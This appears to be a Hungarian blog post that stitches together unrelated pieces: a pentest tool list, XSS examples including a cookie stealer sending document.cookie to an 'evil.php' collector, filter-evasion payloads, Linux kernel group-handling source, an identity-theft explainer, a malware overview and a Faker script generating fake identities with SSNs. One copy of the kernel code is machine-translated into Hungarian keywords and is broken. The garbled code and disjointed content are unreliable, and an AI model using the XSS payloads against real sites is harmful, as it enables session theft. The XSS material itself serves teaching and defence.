Naabu : A naabu egy Go nyelven írt portkereső eszköz, amely lehetővé teszi a hosztok érvényes portjainak gyors és megbízható felsorolását. Ez egy igazán egyszerű eszköz, amely gyors SYN-szkennelést végez a hoszton/hosztok listáján, és listázza az összes választ visszaadó portot.
Katana : Egy következő generációs feltérképező és spidering keretrendszer.
Általános segédeszközök és egyéb eszközök
Obsidian : Az iparági szabvány a jegyzetelés és a tudásmenedzsment terén.
Bettercap : A hálózati támadások és monitorozás „svájci bicskája”. Az Ettercapet váltja fel, és egy hatékony, Go-alapú keretrendszert kínál az ARP hamisításához, szimatolásához és a hálózati forgalom manipulálásához (WiFi, BLE, HID, Ethernet).
Átalakítások : Az átalakítások megkönnyítik a gyakori adathomályosságok észlelését, ami biztonsági réseket tárhat fel, vagy betekintést nyújthat a védelmi mechanizmusok megkerüléséhez.
Hasfelmetsző János : A Hasfelmetsző János egy ingyenes és nyílt forráskódú szoftver, amelyet elsősorban forráskód formájában terjesztenek.
Wireshark : A Wireshark® egy hálózati protokoll elemző, amely lehetővé teszi a számítógépes hálózaton futó forgalom rögzítését és interaktív böngészését.
Foxyproxy : A FoxyProxy egy fejlett proxykezelő eszköz, amely teljes mértékben helyettesíti a Firefox korlátozott proxyképességeit. Egyszerűbb eszközhöz és kevésbé fejlett konfigurációs beállításokhoz kérjük, használja a FoxyProxy Basic-et.
Wappalyzer : A Wappalyzer egy böngészőbővítmény, amely feltárja a weboldalakon használt technológiákat. Érzékeli a tartalomkezelő rendszereket, e-kereskedelmi platformokat, webszervereket, JavaScript keretrendszereket, elemző eszközöket és sok mást.
Buildwith : A BuiltWith célja, hogy segítsen a fejlesztőknek, kutatóknak és tervezőknek kideríteni, milyen technológiákat használnak a weboldalak, ami segíthet nekik eldönteni, hogy milyen technológiákat alkalmazzanak.
Altair : Az Altair GraphQL kliens segít a GraphQL lekérdezések és implementációk hibakeresésében – elvégzi a nehéz munkát, így Ön a tényleges feladatok elvégzésére koncentrálhat.
CyberChef : Egy egyszerű, intuitív webes alkalmazás az adatok elemzéséhez és dekódolásához anélkül, hogy összetett eszközökkel vagy programozási nyelvekkel kellene foglalkozni.
Támadási példák
1. példa: Sütifogó
Ha az alkalmazás nem ellenőrzi a bemeneti adatokat, a támadó könnyen ellophat egy sütit egy hitelesített felhasználótól. A támadónak mindössze annyit kell tennie, hogy a következő kódot elhelyezi bármely közzétett bemeneten (azaz: üzenőfalakon, privát üzenetekben, felhasználói profilokban):
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
A fenti kód átadja a süti egy escaped tartalmát (az RFC szerint a tartalmat escape-elni kell, mielőtt HTTP protokollon keresztül, GET metódussal elküldenék) az evil.php szkriptnek a „cakemonster” változóban. A támadó ezután ellenőrzi az evil.php szkript eredményeit (egy sütigyűjtő szkript általában fájlba írja a sütit), és azt használja.
Hibaoldal példa
Tegyük fel, hogy van egy hibaoldalunk, amely nem létező oldalakra vonatkozó kéréseket kezel, egy klasszikus 404-es hibaoldal. Az alábbi kódot példaként használhatjuk arra, hogy tájékoztassuk a felhasználót arról, hogy melyik konkrét oldal hiányzik:
<html>
<body>
<?php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>
Lássuk, hogyan működik: http://testsite.test/file_which_not_exist Válaszul ezt kapjuk:Not found: /file_which_not_exist
Most megpróbáljuk rákényszeríteni a hibaoldalt, hogy tartalmazza a kódunkat: http://testsite.test/<script>alert("TEST");</script> Az eredmény:Not found: / (but with JavaScript code <script>alert("TEST");</script>)
Sikeresen befecskendeztük a kódot, az XSS-ünket! Mit jelent ez? Például, hogy ezt a hibát felhasználhatjuk egy felhasználó munkamenet-sütijének ellopására.
---------------------
#include <linux/cred.h>
#include <linux/export.h>
#include <linux/slab.h>
#include <linux/security.h>
#include <linux/sort.h>
#include <linux/syscalls.h>
#include <linux/user_namespace.h>
#include <linux/vmalloc.h>
#include <linux/uaccess.h>
struct group_info *groups_alloc(int gidsetsize)
{
struct group_info *gi;
gi = kvmalloc(struct_size(gi, gid, gidsetsize), GFP_KERNEL_ACCOUNT);
if (!gi)
return NULL;
refcount_set(&gi->usage, 1);
gi->ngroups = gidsetsize;
return gi;
}
EXPORT_SYMBOL(groups_alloc);
void groups_free(struct group_info *group_info)
{
kvfree(group_info);
}
EXPORT_SYMBOL(groups_free);
/* export the group_info to a user-space array */
static int groups_to_user(gid_t __user *grouplist,
const struct group_info *group_info)
{
struct user_namespace *user_ns = current_user_ns();
int i;
unsigned int count = group_info->ngroups;
for (i = 0; i < count; i++) {
gid_t gid;
gid = from_kgid_munged(user_ns, group_info->gid[i]);
if (put_user(gid, grouplist+i))
return -EFAULT;
}
return 0;
}
/* fill a group_info from a user-space array - it must be allocated already */
static int groups_from_user(struct group_info *group_info,
gid_t __user *grouplist)
{
struct user_namespace *user_ns = current_user_ns();
int i;
unsigned int count = group_info->ngroups;
for (i = 0; i < count; i++) {
gid_t gid;
kgid_t kgid;
if (get_user(gid, grouplist+i))
return -EFAULT;
kgid = make_kgid(user_ns, gid);
if (!gid_valid(kgid))
return -EINVAL;
group_info->gid[i] = kgid;
}
return 0;
}
static int gid_cmp(const void *_a, const void *_b)
{
kgid_t a = *(kgid_t *)_a;
kgid_t b = *(kgid_t *)_b;
return gid_gt(a, b) - gid_lt(a, b);
}
void groups_sort(struct group_info *group_info)
{
sort(group_info->gid, group_info->ngroups, sizeof(*group_info->gid),
gid_cmp, NULL);
}
EXPORT_SYMBOL(groups_sort);
/* a simple bsearch */
int groups_search(const struct group_info *group_info, kgid_t grp)
{
unsigned int left, right;
if (!group_info)
return 0;
left = 0;
right = group_info->ngroups;
while (left < right) {
unsigned int mid = (left+right)/2;
if (gid_gt(grp, group_info->gid[mid]))
left = mid + 1;
else if (gid_lt(grp, group_info->gid[mid]))
right = mid;
else
return 1;
}
return 0;
}
/**
* set_groups - Change a group subscription in a set of credentials
* @new: The newly prepared set of credentials to alter
* @group_info: The group list to install
*/
void set_groups(struct cred *new, struct group_info *group_info)
{
put_group_info(new->group_info);
get_group_info(group_info);
new->group_info = group_info;
}
EXPORT_SYMBOL(set_groups);
/**
* set_current_groups - Change current's group subscription
* @group_info: The group list to impose
*
* Validate a group subscription and, if valid, impose it upon current's task
* security record.
*/
int set_current_groups(struct group_info *group_info)
{
struct cred *new;
const struct cred *old;
int retval;
new = prepare_creds();
if (!new)
return -ENOMEM;
old = current_cred();
set_groups(new, group_info);
retval = security_task_fix_setgroups(new, old);
if (retval < 0)
goto error;
return commit_creds(new);
error:
abort_creds(new);
return retval;
}
EXPORT_SYMBOL(set_current_groups);
SYSCALL_DEFINE2(getgroups, int, gidsetsize, gid_t __user *, grouplist)
{
const struct cred *cred = current_cred();
int i;
if (gidsetsize < 0)
return -EINVAL;
/* no need to grab task_lock here; it cannot change */
i = cred->group_info->ngroups;
if (gidsetsize) {
if (i > gidsetsize) {
i = -EINVAL;
goto out;
}
if (groups_to_user(grouplist, cred->group_info)) {
i = -EFAULT;
goto out;
}
}
out:
return i;
}
bool may_setgroups(void)
{
struct user_namespace *user_ns = current_user_ns();
return ns_capable_setid(user_ns, CAP_SETGID) &&
userns_may_setgroups(user_ns);
}
/*
* SMP: Our groups are copy-on-write. We can set them safely
* without another task interfering.
*/
SYSCALL_DEFINE2(setgroups, int, gidsetsize, gid_t __user *, grouplist)
{
struct group_info *group_info;
int retval;
if (!may_setgroups())
return -EPERM;
if ((unsigned)gidsetsize > NGROUPS_MAX)
return -EINVAL;
group_info = groups_alloc(gidsetsize);
if (!group_info)
return -ENOMEM;
retval = groups_from_user(group_info, grouplist);
if (retval) {
put_group_info(group_info);
return retval;
}
groups_sort(group_info);
retval = set_current_groups(group_info);
put_group_info(group_info);
return retval;
}
/*
* Check whether we're fsgid/egid or in the supplemental group..
*/
int in_group_p(kgid_t grp)
{
const struct cred *cred = current_cred();
int retval = 1;
if (!gid_eq(grp, cred->fsgid))
retval = groups_search(cred->group_info, grp);
return retval;
}
EXPORT_SYMBOL(in_group_p);
int in_egroup_p(kgid_t grp)
{
const struct cred *cred = current_cred();
int retval = 1;
if (!gid_eq(grp, cred->egid))
retval = groups_search(cred->group_info, grp);
return retval;
}
EXPORT_SYMBOL(in_egroup_p);
---------------
/* init 2-re - egy az init_task feladatához, egy pedig annak biztosításához, hogy soha ne szabaduljon fel */
struct group_info init_groups = { . használat = ATOMIC_INIT ( 2 ) };
struct group_info * groups_alloc ( int gidsetsize )
{
struktúra csoport_info * csoport_info ;
int nblokkok ;
int i ;
nblocks = ( gidsetsize + NGROUPS_PER_BLOCK - 1 ) / NGROUPS_PER_BLOCK ;
/* Ügyeljünk arra, hogy mindig lefoglaljunk legalább egy indirekt blokkmutatót */
nblokkok = nblokkok ? : 1 ;
group_info = kmalloc ( méret (* csoport_info ) + nblokkok * méret ( gid_t *), GFP_USER );
ha (! csoport_info )
NULL értéket ad vissza ;
csoport_info -> ncsoportok = gidsetsize ;
group_info -> nblocks = nblocks ;
atomic_set (& group_info -> használat , 1 );
ha ( gidsetsize <= NGROUPS_SMALL )
csoport_info -> blokkok [ 0 ] = csoport_info -> kis_blokk ;
különben {
for ( i = 0 ; i < nblokkok ; i ++) {
gid_t * b ;
b = ( void *) __get_free_page ( GFP_USER );
ha (! b )
goto out_undo_partial_alloc ;
group_info -> blokkok [ i ] = b ;
}
}
csoport_info return ;
részleges_kiosztás_visszavonása :
míg (-- i >= 0 ) {
free_page (( unsigned long ) group_info -> blokkok [ i ]);
}
kfree ( csoport_info );
NULL értéket ad vissza ;
}
EXPORT_SZIMBÓL ( csoportok_elosztása );
void groups_free ( struct group_info * group_info )
{
ha ( csoport_információ -> blokkok [ 0 ] != csoport_információ -> kis_blokk ) {
int i ;
for ( i = 0 ; i < csoport_info -> nblokkok ; i ++)
free_page (( unsigned long ) group_info -> blokkok [ i ]);
}
kfree ( csoport_info );
}
EXPORT_SZIMBÓL ( csoportok_szabad );
/* a group_info exportálása felhasználói térbeli tömbbe */
static int groups_to_user ( gid_t __user * grouplist , )
const struct csoport_info * csoport_info )
{
int i ;
előjel nélküli int szám = csoport_info -> ncsoportok ;
for ( i = 0 ; i < csoport_info -> nblokkok ; i ++) {
előjel nélküli int cp_count = min ( NGROUPS_PER_BLOCK , számláló );
előjel nélküli int len = cp_count * sizeof (* grouplist );
ha ( másolás_a_felhasználónak ( csoportlista , csoportinfo -> blokkok [ i ], len ))
return - EFAULT ;
csoportlista += NGROUPS_PER_BLOCK ;
számláló -= cp_számláló ;
}
0-t ad vissza ;
}
/* töltsön ki egy group_info-t egy felhasználói térbeli tömbből - annak már lefoglaltnak kell lennie */
static int groups_from_user ( struct group_info * group_info , )
gid_t __user * csoportlista )
{
int i ;
előjel nélküli int szám = csoport_info -> ncsoportok ;
for ( i = 0 ; i < csoport_info -> nblokkok ; i ++) {
előjel nélküli int cp_count = min ( NGROUPS_PER_BLOCK , számláló );
előjel nélküli int len = cp_count * sizeof (* grouplist );
ha ( másolás_a_felhasználótól ( csoportinfo -> blokkok [ i ], csoportlista , len ))
return - EFAULT ;
csoportlista += NGROUPS_PER_BLOCK ;
számláló -= cp_számláló ;
}
0-t ad vissza ;
}
/* egy egyszerű Shell rendezés */
static void groups_sort ( struct group_info * group_info )
{
int alap , max , lépésszám ;
int gidsetsize = csoport_info -> ncsoportok ;
for ( lépésszám = 1 ; lépésszám < gidsetsize ; lépésszám = 3 * lépésszám + 1 )
; /* semmi */
lépés /= 3 ;
míg ( lépés ) {
max = gidsetsize - lépésszám ;
for ( bázis = 0 ; bázis < max ; bázis ++) {
int bal = alap ;
int jobb = bal + lépésszám ;
gid_t tmp = GROUP_AT ( csoportinfo , jobb );
míg ( bal >= 0 && GROUP_AT ( group_info , bal ) > tmp ) {
GROUP_AT ( csoportinfo , jobb ) =
GROUP_AT ( csoportinfo , balra );
jobb = bal ;
balra -= lépés ;
}
GROUP_AT ( group_info , jobb ) = tmp ;
}
lépés /= 3 ;
}
}
/* egy egyszerű bsearch */
int csoportok_keresése ( const struct csoport_info * csoport_info , gid_t grp )
{
előjel nélküli int balra , jobbra ;
ha (! csoport_info )
0-t ad vissza ;
balra = 0 ;
jobbra = csoport_info -> ncsoportok ;
míg ( bal < jobb ) {
előjel nélküli int közép = ( bal + jobb )/ 2 ;
ha ( csoport > GROUP_AT ( csoportinfo , közép ))
bal = közép + 1 ;
egyébként ha ( csoport < GROUP_AT ( csoportinfo , közép ))
jobb = középen ;
más
vissza 1 ;
}
0-t ad vissza ;
}
/**
* set_groups - Csoportfeliratkozás módosítása egy hitelesítő adatkészletben
* @new: Az újonnan elkészített hitelesítő adatok módosítása
* @group_info: A telepítendő csoportok listája
*
* Csoportos előfizetés érvényesítése, és ha érvényes, beillesztése egy készletbe
* a hitelesítő adatok közül.
*/
int set_groups ( struktúra hitel * új , struktúra csoport_információ * csoport_információ )
{
put_group_info ( új -> csoport_info );
csoportok_rendezés ( csoport_info );
get_group_info ( csoport_info );
új -> csoport_info = csoport_info ;
0-t ad vissza ;
}
EXPORT_SZIMBÓL ( csoportok_készlete );
/**
* set_current_groups - A jelenlegi csoport feliratkozásának módosítása
* @group_info: A csoportlista, amelyet alkalmazni kell
*
* Csoportos előfizetés érvényesítése, és ha érvényes, akkor annak alkalmazása a jelenlegi feladatra
* biztonsági nyilvántartás.
*/
int set_current_groups ( struct csoport_info * csoport_info )
{
struktúra hiv * új ;
int ret ;
új = előkészít_hitelek ();
ha (! új )
return - ENOMEM ;
ret = set_groups ( új , csoport_info );
ha ( ret < 0 ) {
megszakítás_hitelek ( új );
return ret ;
}
return commit_creds ( új );
}
EXPORT_SZIMBÓL ( aktuális_csoportok_beállítása );
SYSCALL_DEFINE2 ( getgroups , int , gidsetsize , gid_t __user *, grouplist )
{
const struktúra hitel * hitel = aktuális_hitel ();
int i ;
ha ( gidsetsize < 0 )
return - EINVAL ;
/* nem kell a task_lock függvényt itt lekérni; az nem változhat */
i = hiv -> csoport_info -> ncsoportok ;
ha ( gidsetsize ) {
ha ( i > gidsetsize ) {
i = - EINVAL ;
kimenni ;
}
ha ( groups_to_user ( csoportlista , hitel -> csoportinfo )) {
i = - HIBA ;
kimenni ;
}
}
ki :
return i ;
}
/*
* SMP: Csoportjaink másolhatóak és írhatók. Biztonságosan beállíthatjuk őket.
* anélkül, hogy más feladat beavatkozna.
*/
SYSCALL_DEFINE2 ( setgroups , int , gidsetsize , gid_t __user *, grouplist )
{
struktúra csoport_info * csoport_info ;
int retval ;
ha (! nsown_capable ( CAP_SETGID ))
return - EPERM ;
ha (( aláíratlan ) gidsetsize > NGROUPS_MAX )
return - EINVAL ;
group_info = groups_alloc ( gidsetsize );
ha (! csoport_info )
return - ENOMEM ;
retval = groups_from_user ( csoportinfo , csoportlista );
ha ( visszaértékel ) {
put_group_info ( csoport_info );
visszatérési érték ;
}
retval = set_current_groups ( csoportinfo );
put_group_info ( csoport_info );
visszatérési érték ;
}
/*
* Ellenőrizd, hogy fsgid/egid tagsággal rendelkezünk-e, vagy a kiegészítő csoportban vagyunk-e.
*/
int in_group_p ( gid_t csoport )
{
const struktúra hitel * hitel = aktuális_hitel ();
int visszavételi érték = 1 ;
ha ( grp != cred -> fsgid )
retval = groups_search ( hitel -> csoportinfo , csoport );
visszatérési érték ;
}
EXPORT_SZIMBÓL ( a_p_csoportban );
int in_egroup_p ( gid_t csoport )
{
const struktúra hitel * hitel = aktuális_hitel ();
int visszavételi érték = 1 ;
ha ( csoport != hitel -> egid )
retval = groups_search ( hitel -> csoportinfo , csoport );
visszatérési érték ;
}
EXPORT_SZIMBÓL ( in_egroup_p );
A személyazonosság ellopása magában foglalja valaki más személyes adatainak – például társadalombiztosítási számának (SSN), jogosítványának vagy pénzügyi adatainak – jogosulatlan megszerzését és felhasználását csalás elkövetése céljából . Az identitástolvajok által használt gyakori módszerekA bűnözők számos taktikát alkalmaznak személyes adatok megszerzésére: Adathalászat és szociális manipuláció: Csalárd e-mailek, szöveges üzenetek küldése (smishing) vagy telefonhívások kezdeményezése (vishing), amelyek látszólag legitim szervezetektől származnak, hogy az áldozatokat hitelesítő adatok felfedésére csalják.Kártya-lefölözés: Rosszindulatú eszközök telepítése ATM-ekre vagy benzinkutakra a kártyák mágnescsíkjairól származó adatok ellopása céljából.Adatvédelmi incidensek: Vállalati vagy kormányzati adatbázisokba való betörés hatalmas mennyiségű fogyasztói adat ellopása céljából.Konténerbúvárkodás: Lakó- vagy üzleti szemétben turkálás dokumentumok, például bankszámlakivonatok, adóbevallások vagy hitelkártya-ajánlatok felkutatására.Fizikai lopás: Pénztárcák, pénztárcák vagy levelek ellopása közvetlenül otthonokból és járművekből.Sötét web: Lopott személyes adatok vásárlása, amelyek korábbi incidensek vagy hackek során kiszivárogtak. Hogyan használják fel az ellopott információkatMiután megszerzik az adatokat, az identitástolvajok különféle illegális tevékenységekre használják fel: Pénzügyi csalás: Új hitelkártya-számlák megnyitása, kölcsönök felvétele vagy meglévő bankszámlák kimerítése.Adószemélyazonosság-lopás: Csalárd adóbevallás benyújtása az áldozat társadalombiztosítási számának használatával a visszatérítés ellopása érdekében.Szintetikus személyazonosság-lopás: Valódi társadalombiztosítási számok hamis nevekkel és születési dátumokkal való kombinálása teljesen új, követhetetlen személyazonosságok létrehozása érdekében.Bűnügyi megszemélyesítés: Az áldozat nevének megadása letartóztatás során hamis bűnügyi nyilvántartás létrehozása érdekében. Jogi következményekA személyazonosság-lopás súlyos bűncselekmény. Az Egyesült Államok Igazságügyi Minisztériuma szerint a személyazonossággal való visszaéléshez kapcsolódó szövetségi bűncselekmények büntetéseket vonnak maguk után, beleértve: Jelentős bírságok .
Vagyonelkobzás büntetőjogi úton .Akár 30 év börtönbüntetés is járhat bizonyos típusú pénzintézeti csalásokért. Ha gyanítja, hogy személyazonosságát feltörték, azonnal jelentse azt az FTC-nek az IdentityTheft.gov oldalon, hogy megkezdhessék a helyreállítási terv kidolgozását. A Cross-Site Scripting (XSS) egy olyan webes biztonsági rés, amely lehetővé teszi a támadóknak, hogy rosszindulatú szkripteket (általában JavaScriptet) injektáljanak a megbízható webhelyekre. Amikor egy gyanútlan felhasználó meglátogatja az oldalt, a böngészője végrehajtja ezt a kódot, ami munkamenet-eltérítéshez (cookie-lopás), hitelesítési adatok megszerzéséhez vagy az oldal tartalmának manipulálásához vezethet.
Főbb XSS típusok:
Tárolt (Stored) XSS: A kártékony kód a weboldal adatbázisában tárolódik (pl. kommentekben), és minden látogatónak kiszolgálásra kerül.
Reflektált (Reflected) XSS: A kód a HTTP-kérésben (pl. keresési paraméterben) érkezik, és a szerver azonnal "visszatükrözi" a válaszban.
DOM-alapú XSS: A sebezhetőség a kliensoldali kódban (JavaScript) van, amely a DOM-ot manipulálja.
A legfontosabb lépés a felhasználói bevitel szigorú validálása és a kimenet kontextusfüggő kódolása (encoding) a HTML-ben, a JavaScriptben és a CSS-ben. Javasolt továbbá a Content Security Policy (CSP) használata a károk minimalizálására.
Alternatív XSS szintaxis
XSS szkriptek használata attribútumokban
XSS támadások címkék használata nélkül is végrehajthatók <script>...</script> . Más címkék pontosan ugyanezt teszik, például: <body onload=alert('test1')>vagy más attribútumok, mint például: onmouseover, onerror.
egér fölé helyezve
<b onmouseover=alert('Wufff!')>click me!</b>
egy hiba
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
XSS szkriptek használatával kódolt URI sémákon keresztül
Ha el kell rejtenünk magunkat a webes alkalmazásszűrők elől, megpróbálhatjuk karakterláncokat kódolni, pl.: a=&\#X41(UTF-8), és ezt használni IMGa címkékben:
<IMG SRC=jAvascript:alert('test2')>
Sokféle UTF-8 kódolási jelölés létezik, amelyek még több lehetőséget kínálnak.
XSS kódkódolás használatával
Kódolhatjuk a szkriptünket base64-ben, és elhelyezhetjük METAa tag-ben. Így teljesen megszabadulunk a alert()... További információ erről a módszerről az RFC 2397-ben található.
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
Ezek és más példák megtalálhatók az OWASP XSS Filter Evasion Cheat Sheetben, amely az alternatív XSS szintaxis támadások valódi enciklopédiája.
Példák
A webhelyek közötti szkripteléses támadások bárhol előfordulhatnak, ahol potenciálisan rosszindulatú felhasználók szabályozatlan anyagokat tehetnek közzé egy megbízható webhelyen más érvényes felhasználók számára történő felhasználás céljából.
A leggyakoribb példa a hirdetőtáblákat tartalmazó weboldalakon található, amelyek web alapú levelezőlista-stílusú funkciókat kínálnak.
1. példa
A következő JSP kódrészlet egy alkalmazotti azonosítót, az eid-t, olvas be egy HTTP kérésből, és megjeleníti a felhasználónak.
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
A példában szereplő kód akkor működik helyesen, ha eidcsak szabványos alfanumerikus szöveget tartalmaz. Ha eidaz értéke metakaraktereket vagy forráskódot tartalmaz, akkor a webböngésző végrehajtja a kódot, miközben megjeleníti a HTTP-választ.
Elsőre ez nem tűnhet komoly sebezhetőségnek. Végül is miért adna meg valaki egy olyan URL-t, amely rosszindulatú kód futtatását okozza a saját számítógépén? A valódi veszély az, hogy a támadó létrehozza a rosszindulatú URL-t, majd e-mailben vagy szociális manipulációs trükkökkel ráveszi az áldozatokat, hogy meglátogassák az URL-re mutató linket. Amikor az áldozatok rákattintanak a linkre, akaratlanul is visszatükrözik a rosszindulatú tartalmat a sebezhető webes alkalmazáson keresztül a saját számítógépükre. A sebezhető webes alkalmazások kihasználásának ezt a mechanizmusát tükrözött XSS-nek nevezik.
2. példa
A következő JSP kódrészlet lekérdezi az adatbázisból egy adott azonosítójú alkalmazottat, és kinyomtatja a megfelelő alkalmazott nevét.
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>
Employee Name: <%= name %>
Az 1. példához hasonlóan ez a kód helyesen működik, ha a name értékei megfelelően viselkednek, de semmit sem tesz a kihasználások megakadályozása érdekében, ha azok nem azok. Ez a kód ismét kevésbé veszélyesnek tűnhet, mivel a name értékét egy adatbázisból olvassa be, amelynek tartalmát látszólag az alkalmazás kezeli. Ha azonban a name értéke felhasználó által megadott adatokból származik, akkor az adatbázis a rosszindulatú tartalom csatornája lehet. Az adatbázisban tárolt összes adat megfelelő bemeneti ellenőrzése nélkül a támadó rosszindulatú parancsokat hajthat végre a felhasználó webböngészőjében. Ez a fajta kihasználás, amelyet tárolt XSS-nek neveznek, különösen alattomos, mert az adattároló által okozott közvetett hatás megnehezíti a fenyegetés azonosítását, és növeli annak valószínűségét, hogy a támadás több felhasználót is érinteni fog. Az XSS ebben a formájában olyan weboldalakon kezdődött, amelyek „vendégkönyvet” kínáltak a látogatóknak. A támadók JavaScriptet illesztettek be a vendégkönyvbejegyzéseikbe, és a vendégkönyv oldal összes további látogatója végrehajtotta a rosszindulatú kódot.
Amint a példák is mutatják, az XSS sebezhetőségeket olyan kód okozza, amely érvénytelenített adatokat tartalmaz a HTTP válaszban. Háromféleképpen érheti el az XSS támadás az áldozatot:
Az 1. példához hasonlóan az adatokat közvetlenül a HTTP-kérésből olvassa ki, és tükrözi őket a HTTP-válasz. A tükrözött XSS-támadások akkor fordulnak elő, amikor egy támadó arra készteti a felhasználót, hogy veszélyes tartalmat küldjön egy sebezhető webes alkalmazásnak, amelyet aztán visszatükröz a felhasználónak, és a webböngésző végrehajt. A rosszindulatú tartalom kézbesítésének leggyakoribb módja, hogy paraméterként szerepeltetik azt egy URL-ben, amelyet nyilvánosan közzétesznek, vagy közvetlenül az áldozatoknak küldenek e-mailben. Az így létrehozott URL-ek számos adathalász rendszer magját alkotják, ahol a támadó ráveszi az áldozatokat, hogy látogassanak el egy sebezhető webhelyre mutató URL-címre. Miután a webhely visszatükrözi a támadó tartalmát a felhasználónak, a tartalom végrehajtásra kerül, és személyes adatokat, például sütiket, amelyek munkamenet-információkat is tartalmazhatnak, továbbít a felhasználó gépéről a támadónak, vagy más ártalmas tevékenységeket hajt végre. A 2. példához hasonlóan az alkalmazás veszélyes adatokat tárol egy adatbázisban vagy más megbízható adattárolóban. A veszélyes adatokat később visszaolvassa az alkalmazás, és dinamikus tartalomba foglalja. A tárolt XSS támadások akkor történnek, amikor egy támadó veszélyes tartalmat juttat egy adattárolóba, amelyet később beolvas és dinamikus tartalomba foglal. A támadó szempontjából a rosszindulatú tartalom beillesztésének optimális helye egy olyan terület, amely sok felhasználó vagy különösen érdekes felhasználók számára látható. Az érdekes felhasználók általában magasabb szintű jogosultságokkal rendelkeznek az alkalmazásban, vagy olyan érzékeny adatokkal lépnek kapcsolatba, amelyek értékesek a támadó számára. Ha ezen felhasználók egyike rosszindulatú tartalmat futtat, a támadó jogosultságokkal rendelkező műveleteket hajthat végre a felhasználó nevében, vagy hozzáférhet a felhasználóhoz tartozó érzékeny adatokhoz.
Az alkalmazáson kívüli forrás egy adatbázisban vagy más adattárolóban tárolja a veszélyes adatokat, majd a veszélyes adatokat megbízható adatként olvassa vissza az alkalmazás, és dinamikus tartalomba foglalja.
A kibertámadások során alkalmazott programok és módszerek folyamatosan fejlődnek, 2025-2026-ban különösen a zsarolóprogramok, az automatizált támadások és a mesterséges intelligenciát használó kártevők jelentik a legnagyobb veszélyt.
A leggyakoribb kártékony programtípusok és támadási formák:
1. Zsarolóprogramok (Ransomware) és zsaroló csoportok
Ezek a programok titkosítják az áldozat adatait, majd váltságdíjat követelnek a feloldásért.
Cl0p: Egy hírhedt zsarolóvírus-csoport, amely adatlopási támadásokkal okoz károkat.
Ember által vezérelt zsarolóprogramok: A Microsoft jelentései szerint a támadók aktívan irányítják a folyamatot a rendszerbe jutás után, maximalizálva a kárt.
2. Kártevő szoftverek (Malware) típusai
Trójai falovak: Megbízható szoftvernek álcázott kártékony programok.
Férgek (Worms): Önmagukat sokszorosító, hálózatokon terjedő kártevők (pl. a történelmi jelentőségű Morris-féreg).
Kémprogramok (Spyware) és Keylogerek: A felhasználó tevékenységét, jelszavait naplózó szoftverek.
Botnetek: Megfertőzött számítógépek hálózata, amelyet DDoS támadásokra használnak.
3. Támadási módszerek és technikák
Zero-day támadások: Olyan sebezhetőségeket használnak ki, amelyekről a szoftver gyártója még nem tud, így védekezés sincs ellenük.
DDoS (Distributed Denial of Service): Elosztott túlterheléses támadás, amely megbénítja a szervereket.
Adathalászat (Phishing) és kártékony QR-kódok (Quishing): Álláshirdetési csalások vagy hamis QR-kódok segítségével telepítenek kártevőket.
Ütemezett feladatok (Scheduled Tasks) visszaélése: Windows rendszerekben a jogosultságok kiterjesztésére használt módszer.
Védekezési lehetőségek
A hatékony védekezéshez elengedhetetlen a rendszerek frissítése, az EDR (Endpoint Detection and Response) eszközök használata, valamint a tudatos adatkezelés. A Microsoft például AI-alapú megoldásokat is alkalmaz a zsarolóprogramok észlelésére.
Identitás előállítása;
bashpip install FakeProgramkód
pitonfrom faker import Faker
import json
# Initialize Faker generator (set seed for reproducibility if needed)
fake = Faker()
# fake.seed_instance(42) # Uncomment for consistent output
# Collect most important fake person data
person_data = {
'full_name': fake.name(),
'email': fake.email(),
'phone_number': fake.phone_number(),
'address': fake.address(),
'date_of_birth': str(fake.date_of_birth(minimum_age=18, maximum_age=80)),
'job_title': fake.job(),
'company': fake.company(),
'username': fake.user_name(),
'website': fake.url(),
'ssn': fake.ssn() # US-format; use locale-specific providers for others
}
# Display the data
print(json.dumps(person_data, indent=2))Minta kimenet
---------
json{
"full_name": "Lisa Rodriguez",
"email": "kimberlysmith@example.org",
"phone_number": "(555) 123-4567",
"address": "123 Main St\nAnytown, CA 90210\nUSA",
"date_of_birth": "1985-07-15",
"job_title": "Software Engineer",
"company": "Tech Corp Inc",
"username": "lrodriguez42",
"website": "https://example.com/profile",
"ssn": "123-45-6789"
}A tényleges kimenet minden futtatáson változik a realizmus kedvéért.merészség+1
Testreszabási lehetőségek
•Nyelv-támogatás : Faker('hu_HU')Magyar adatokhoz használja (pl. Nyíregyháza környéki nevek/címek).statológia
•További mezők : Szolgáltatók hozzáadása fake.credit_card_number()vagy fake.ibban()via.
•Több profil : Ciklus listák generálásához, pl. [create_person() for _ in range(10)].
•Exportálás : Mentés CSV/JSON formátumban adatbázisokhoz: pd.DataFrame([person_data]).to_csv('fake_person.csv')(
Nincsenek megjegyzések:
Megjegyzés küldése